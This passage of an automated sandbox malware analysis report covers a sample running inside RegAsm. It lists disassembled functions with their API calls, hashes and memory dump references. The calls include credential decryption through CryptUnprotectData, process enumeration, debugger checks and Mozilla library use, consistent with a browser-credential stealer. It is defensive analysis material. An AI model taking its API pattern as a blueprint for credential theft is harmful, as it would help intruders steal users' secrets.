Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: memset
String ID: ~q-l
API String ID: 2221118986-2612624712
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 097d56eb50ff65b065b9920b1cf5784e278442e1a78e29f67ef53227e20168d1
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 1FB1E772E0121A8FDB14CF68CC907A9B7F6EF85314F1942A9C589EB781D7309989CF91

Function 6C34542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C3488F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C34925C

Strings

~q-l, xrefs: 6C34921F, 6C345740, 6C349459, 6C3456C7, 6C345703, 6C349269, 6C34948F

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: memset
String ID: ~q-l
API String ID: 2221118986-2612624712
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 730bcc9a93be1a5e7f03fcd221bf5af3844614fcd21895d0dddab930471d3bda
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: E1B1C572E0120A8BDB14CF58CC816A9B7F6EF85314F1542A9C949EB785D730A989CF91

Function 6C3450C7 Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C348E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C34925C

Strings

~q-l, xrefs: 6C34921F, 6C345740, 6C349459, 6C3456C7, 6C345703, 6C349269, 6C34948F

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: memset
String ID: ~q-l
API String ID: 2221118986-2612624712
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 879c945d9794084a68c489ec2e62849891f97cae6a5220683598a16e34449e2b
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 3AA1E672E0021A8FDB14CF68CC807A9B7F6AF85314F1542B9C949EB785D730A999CF91

Function 6C33B910 Relevance: 9.1, APIs: 6, Instructions: 146nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 6C2E9B80: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,6C33B92D), ref: 6C2E9BC8
Part of subcall function 6C2E9B80: __Init_thread_footer.LIBCMT ref: 6C2E9BDB

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C2E03D4,?), ref: 6C33B955
NtQueryVirtualMemory.NTDLL ref: 6C33B9A5
NtQueryVirtualMemory.NTDLL ref: 6C33BA20
RtlNtStatusToDosError.NTDLL ref: 6C33BA7B
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6C33BA81
GetLastError.KERNEL32(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6C33BA86

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Error$LastMemoryQueryVirtual$InfoInit_thread_footerStatusSystemWin32rand_s
String ID:
API String ID: 1753913139-0
Opcode ID: 3459200c262ade140ac8b98c3bcafc7f345f9919088a8b54479167c30f6f5239
Instruction ID: c80b68dfaeed8e464dd3e1e408448c1997918f15eaf7035e0c1d47d0c208aeed
Opcode Fuzzy Hash: 3459200c262ade140ac8b98c3bcafc7f345f9919088a8b54479167c30f6f5239
Instruction Fuzzy Hash: AF517E71E01A6DDFDF14CEA8D880ADDBBB6AB88318F145129E905BB600D731AD458F91

Function 00409B10 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B3F
LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 00409B51
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B7A
LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 00409B8F

Strings

>O@, xrefs: 00409B24, 00409B31, 00409B49, 00409B68, 00409B34, 00409B6B

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: >O@
API String ID: 4291131564-3498640338
Opcode ID: 51d6155b46c97a52efa385d52040a93a20dc9faff1265f51667d84e9c93c90dd
Instruction ID: 421755d6b48e33095a5169d11db47f4caeee54bd02e7bdd1b67a963d2e3b7d6d
Opcode Fuzzy Hash: 51d6155b46c97a52efa385d52040a93a20dc9faff1265f51667d84e9c93c90dd
Instruction Fuzzy Hash: 7F11C074240308AFEB10CF64CC95FAA77B6FB89710F208059F9199B3D0C7B5A942CB54

Function 0041ACFA Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041B562
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041B577
UnhandledExceptionFilter.KERNEL32(0041F298), ref: 0041B582
GetCurrentProcess.KERNEL32(C0000409), ref: 0041B59E
TerminateProcess.KERNEL32(00000000), ref: 0041B5A5

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: f83f28cb76d01a588ba20aedf737648f300cf2348463cefc92e4954df8d9d801
Instruction ID: e298f46f0b3396334d2e2e37c4a67069ca1d3d313a6b9180192500d6cd60c5fb
Opcode Fuzzy Hash: f83f28cb76d01a588ba20aedf737648f300cf2348463cefc92e4954df8d9d801
Instruction Fuzzy Hash: 2F21D678600214DFD720EF59F9D4AA97BB5FB08314F90803AE809D7261E7B46586CF9D

Function 00407280 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0), ref: 0040728D
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407294
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 004072C1
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000,?,?,?,?,?,00407CD0,80000001,00415CA4), ref: 004072E4
LocalFree.KERNEL32(?,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 004072EE

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 3657800372-0
Opcode ID: 5915e9d016c50e8c8afbc1db5a49932ad24ad0ff49fd5d82b8f52955bd254427
Instruction ID: 878b0d7115cd8d43870734417daae2c605d8a0a5a409213b4f7418bdd2279ebf
Opcode Fuzzy Hash: 5915e9d016c50e8c8afbc1db5a49932ad24ad0ff49fd5d82b8f52955bd254427
Instruction Fuzzy Hash: 31014071A40208BBDB10DF94CC46F9E7779BB44700F204055FB05BB2D0D6B0AA019BA9

Function 004190A0 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004190BE
Process32First.KERNEL32(00420AB3,00000128), ref: 004190D2
Process32Next.KERNEL32(00420AB3,00000128), ref: 004190E7
StrCmpCA.SHLWAPI(?,00000000), ref: 004190FC
CloseHandle.KERNEL32(00420AB3), ref: 0041911A

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 53cc5b1a25e9de08871f2f161f83c20120fe0a383d746f94447c3d4f9de0246b
Instruction ID: 54ad55f7a4b81502d496241441e07260b80a378e6eebdd4a9cd1ea64267145a6
Opcode Fuzzy Hash: 53cc5b1a25e9de08871f2f161f83c20120fe0a383d746f94447c3d4f9de0246b
Instruction Fuzzy Hash: 1E010875A00208FBDB20DFA4CD99BEEBBF9AF08700F104199E909A7250DB749E85DF55

Function 6C3277A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C327A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C327A93

Part of subcall function 6C2F5C50: GetTickCount64.KERNEL32 ref: 6C2F5D40
Part of subcall function 6C2F5C50: EnterCriticalSection.KERNEL32(6C35F688), ref: 6C2F5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C327AA1

Part of subcall function 6C2F5C50: __aulldiv.LIBCMT ref: 6C2F5DB4
Part of subcall function 6C2F5C50: LeaveCriticalSection.KERNEL32(6C35F688), ref: 6C2F5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C327B31

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 529b67ae0452f8e8e0e8d1bf64c991dc834bea7a7e5321a919c048399630fbf7
Instruction ID: c5ea77d44f31afac2d4830927b7f97ed22e78b44893211d2f6876011c0538fe6
Opcode Fuzzy Hash: 529b67ae0452f8e8e0e8d1bf64c991dc834bea7a7e5321a919c048399630fbf7
Instruction Fuzzy Hash: DCB159356083858BCF14CF24C45069EB7E2BFCA318F154A1CE995A7B91DB75E90A8F83

Function 00418940 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000), ref: 00418960

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 3aec6097f2b6cc18e3a50b756b1644abdcd7f84ae5ce4698d77b00bdd9d6955c
Instruction ID: 8551c2f8eff3d936ade43cc3e5b46360b1bd8edc09fa8c17659182bc6519fa86
Opcode Fuzzy Hash: 3aec6097f2b6cc18e3a50b756b1644abdcd7f84ae5ce4698d77b00bdd9d6955c
Instruction Fuzzy Hash: DF1118B5220209FFDB14CF54D884FBB37A9AF99314F109549F9098B250DB79EC82CB69

Function 00417420 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DD0,00000000,?), ref: 00417450
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DD0,00000000,?), ref: 00417457
GetLocalTime.KERNEL32(?,?,?,?,?,00420DD0,00000000,?), ref: 00417464
wsprintfA.USER32 ref: 00417493

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: 5f2f51bfbe90337ca5e895f9776451138895015e5f3a8196a904fc3d9a46e3df
Instruction ID: 50de9df5f87ad77eb031dc94815d0013ed19ce73efbeceace7c97849f90fee7e
Opcode Fuzzy Hash: 5f2f51bfbe90337ca5e895f9776451138895015e5f3a8196a904fc3d9a46e3df
Instruction Fuzzy Hash: 82113CB2904518ABCB14DFC9DD45FBEB7B9FB4CB11F10411AF605A2290D3795941C7B4

Function 6C33B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C33B720
RtlNtStatusToDosError.NTDLL ref: 6C33B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C30FE3F,00000000,00000000,?,?,00000000,?,6C30FE3F), ref: 6C33B760

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: b396fac9303700ed2bf9c945663ebfda44341fba093c2b5e16fcd910caba4928
Instruction ID: 85a1fbc98e2622fa2ea7f4c898ac61e587e4516faf8eaebd2f5db531769094a5
Opcode Fuzzy Hash: b396fac9303700ed2bf9c945663ebfda44341fba093c2b5e16fcd910caba4928
Instruction Fuzzy Hash: 19F0AFB0A0025CAEEF019AA19C88BEEB7FCDF0431DF50612AE555695C0D77595CCCEA1

Function 6C33B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C2E03D4,?), ref: 6C33B955
NtQueryVirtualMemory.NTDLL ref: 6C33B9A5

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 27fa92d527be14104e99573b18ee7c00327cc84226419218bf0bd435e8e59a09
Instruction ID: c335f3342c742ff1da44a390e72479c404e333f272b7926e7f464f892e5822b0
Opcode Fuzzy Hash: 27fa92d527be14104e99573b18ee7c00327cc84226419218bf0bd435e8e59a09
Instruction Fuzzy Hash: AE41B871F0161D9FDF04CFA9D880ADEBBB5EF88318F148129E509AB744DB3199458F91

Function 0041C8D9 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001C897), ref: 0041C8DE

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 92af57a2eb04ab3802c4d219b965fa46d3e89a576cd6fa8fbae2cab6dd9d340f
Instruction ID: 8e4dbfb736b9908720f30fe25f95c1a3b6087da1e007f902b0e4d68da9f23204
Opcode Fuzzy Hash: 92af57a2eb04ab3802c4d219b965fa46d3e89a576cd6fa8fbae2cab6dd9d340f
Instruction Fuzzy Hash: 8D9002B829111456561037719D896896D905ACC6137554861B405C4055EA9841849529

Function 00419160 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
